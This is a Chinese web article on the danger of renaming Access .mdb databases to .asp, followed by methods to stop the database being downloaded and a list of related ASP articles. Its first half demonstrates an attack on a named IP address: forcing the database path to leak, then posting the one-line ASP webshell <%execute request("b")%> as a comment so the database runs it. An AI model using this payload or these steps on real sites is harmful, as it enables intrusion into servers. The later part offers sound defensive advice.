access改mdb为asp所带来的灾难 附mdb防下载方法

先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。

一.思路

  大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<%%>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。

二.示例

  随便找个目标,首先我们暴库,看是不是asp后缀的数据库:http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210

  返回:


代码如下:

Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'

/iisHelp/common/500-100.asp,行242

Microsoft JET Database Engine 错误 '80004005'

'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/test/conn.asp,行18

  我们提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论:

<%execute request("b")%>

  这样我们就把asp代码:<%execute request("b")%>写入了数据库,那么数据库:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到:

代码如下:

/iisHelp/common/500-100.asp,行242
Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'execute'

/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266

  注意:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用<%execute request("b")%>。

三.其他一些问题和思路

  1.对于改了后缀为asp,还对数据库里加入了<%='a'-1%>等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。

  2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用数据库备用改后缀为asp。

mdb防下载方法小结

1:在iis6下面 如果一个扩展名没有被定义则 访问的时候会出现文件没有找到的404错误。
因此你可以将数据库任意命名成一个绝对不会出现的文件名就可以达到安全的效果比如:xxxxx.xxxxxxxxxxx

2 将数据库放在网站的外部,那绝对就不能访问得到了。例如: e:/web/是你的网站
则把数据库放在e:/

3 正如楼上所说的 将.mdb 改成 .asp 同时倒入一个特殊的表 包含 <% 的二进制字符 这样访问文件出现 缺少脚本关闭符的提示。
4 或者将.mdb 改成.asp 同时用winhex打开 可以发现176以后有很长一部分 00 字符串 你随便在处改成一段asp代码 也可以实现防止下载,这样也不影响数据库功能。例如:
<%
response.write("非法访问")
response.end()
%>

现在在数据库的名称里 加上 “#” 和空格 都被破解了 比如“#” = “<%35” 而空格 = “<%20”

所以说 现在用这些已经不管用了。。

如果是自己的服务器的话就在IIS里设置一下:

新建一个空白的DLL文件,然后在IIS里添加映射,可执行文件选刚才建的这个DLL,扩展名填.mdb,保存后重启一下IIS服务即可。

(0)

相关推荐

  • 九种防MDB数据库被下载的方法小结

    1.发挥你的想象力 修改数据库文件名  但是若攻击者通过第三方途径获得了数据库的路径,就可以下载数据库.故保密性为最低. 2.数据库名后缀改为ASA.ASP等 此法须配合一些要进行一些设置,否则就会出现本文开头的那种情况  (1)二进制字段添加. (2)在这个文件中加入<%或%>,IIS就会按ASP语法来解析,然后就会报告500错误,自然不能下载了.可是如果只是简单的在数据库的文本或者备注字段加入<%是没用的,因为ACCESS会对其中的内容进行处理,在数据库里他会以< %的形式存在

  • IIS下防止mdb数据库被下载的实现方法

    解决access(mdb)数据库防止下载,一般有两种方法: 第一种方法:要求网站管理人员具体asp编程经验.因为现在的销售虚拟主机的系统,已经为用户建立了一个database目录,跟web目录同一个级别,用户访问的是web中的文件,而无法访问database目录的文件.所以大家要把数据库文件放到database目录里面就可以了,但实现起来不会这么容易,需要获取mdb文件的实际目录,主要是连接数据库的地方,需要修改下. 这里给出具体的思路.先获取web根目录中的任意一个文件.例如那么数据库的地址就

  • access改mdb为asp所带来的灾难 附mdb防下载方法

    先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门.入侵者可以利用asp/asa为后缀的数据库直接得到webshell. 一.思路 大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<%%>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>

  • asp.net使用DataGridTree实现下拉树的方法

    本文实例讲述了asp.net使用DataGridTree实现下拉树的方法.分享给大家供大家参考.具体实现方法如下: 下拉树实现原理:输出json到客户端,客户端实现动态加载,中间不会和服务端交互.数据量支持上经测试几千还是很快的.本下拉树控件是用c#+js树实现. 2.c# 计算器 计算字符串数学表达式源码 计算数学表达式原理 采用c#实现 很实用 //a.建立两个栈:第一个位操作数栈,第二个操作符符栈!(将栈定义为string类型) //b.对数字来说是无条件压入数字栈中. //c.而对符号来

  • ASP页面静态化批量生成代码分享(多种方法)

    1.ASP两种简单的生成静态首页的方法 为什么要生成静态首页? 1.如果你首页读取的数据库次数比较多,速度很慢,而且占用很多服务器资源.使用静态页面访问速度当然快多了 2.搜索引擎容易搜索到 3.如果程序出问题,也能保证首页能访问. 4.其他的太多,自己想:) 应用方式: 如果你的首页是index.asp,你可以生成index.htm (默认访问顺序必须是index.htm,index.asp).这样访问者第一次访问到你的网站的时候打开的是index.htm .你可以把网站首页的链接做成inde

  • asp 80070005 80070006 FSO等问题终级解决方法

    Server.CreateObject 'ASP 0178 : 80070005' 80070006 FSO等问题终级解决方法在C:\WINDOWS\WinSxS文件夹上加上eveeryone用户,重启IIS,试下可以不,不行的话给everyone完全控制的权限,如果还不行,试试下边的说法吧 由于以前一直没用过XP系统(还是在大学那会xp刚出来的时候用过,以后就一直没用过xp,当时不喜欢它花里胡哨的界面,呵呵.),没碰到过这样的问题,今天在帮一个网友mm解决excel导入到sqlserver数据

  • ASP.NET页面间的传值的几种方法

    ASP.NET WEB FORMS 给开发者提供了极好的事件驱动开发模式.然而这种简单的应用程序开发模式却给我们带来了一些小问题,举个例子,在传统的ASP应用程序中,你能够通过POST方法很容易的把一个值或多个值从一个页面传送到另一个页面,用同样的方法在ASP.NET中实现有点麻烦.在这里,我们可以通过其他方式来解决这种情形.ASP.NET为我们提供了三种方式,一种是可以通过用QueryString来传送相应的值,再一种是通过session变量来传送相应的值,还有就是通过Server.Trans

  • ASP.NET Core整合Zipkin链路跟踪的实现方法

    前言     在日常使用ASP.NET Core的开发或学习中,如果有需要使用链路跟踪系统,大多数情况下会优先选择SkyAPM.我们之前也说过SkyAPM设计确实比较优秀,巧妙的利用DiagnosticSource诊断跟踪日志,可以做到对项目无入侵方式的集成.其实还有一款比较优秀的链路跟踪系统,也可以支持ASP.NET Core,叫Zipkin.它相对于SkyWalking来说相对轻量级,使用相对来说比较偏原生的方式,而且支持Http的形式查询和提交链路数据.因为我们总是希望能拥有多一种的解决方

  • asp.net core 修改默认端口的几种方法

    一般情况下,aspnetcore发布后的默认端口是5000,这个大家都知道,而且默认骨架代码中没有看到任何让你输入的ip地址和端口号,但作为程序员的我们,不希望 被框架所管制,那如何实现默认端口的修改呢? 骨架代码: public class Program { public static void Main(string[] args) { CreateWebHostBuilder(args).Build().Run(); } public static IWebHostBuilder Cre

  • asp.net中Timer无刷新定时器的实现方法

    本文实例讲述了asp.net中Timer无刷新定时器的实现方法.Timer控件要实现无刷新,得用到ajax技术,这里使用VS2008自带的ajax技术.    首先得添加一个ScriptManager控件,然后再添加一个UpdatePanel用于存放Timer控件内容的,就可以实现无刷新了.下面是详细的内容: 一.前台代码如下: <form id="form1" runat="server"> <asp:ScriptManager ID="

  • asp.net及javascript判断是否手机访问的方法

    本文实例讲述了asp.net及javascript判断是否手机访问的方法.分享给大家供大家参考,具体如下: /// <summary> /// 判断手机用户UserAgent /// </summary> /// <returns></returns> private bool IsMobile() { HttpContext context = HttpContext.Current; if (context != null) { HttpRequest

  • asp.net图片文件的上传与删除方法

    本文实例讲述了asp.net图片文件的上传与删除方法.分享给大家供大家参考,具体如下: //上传图片 public void UpdataImage() { //获取选择的文件 string fileName = fudImage.FileName; //获取后缀名 string fileExt = Path.GetExtension(fileName); if (fileExt != ".jpg") { return; } //获取服务器端得上传的路径 string serverPa

随机推荐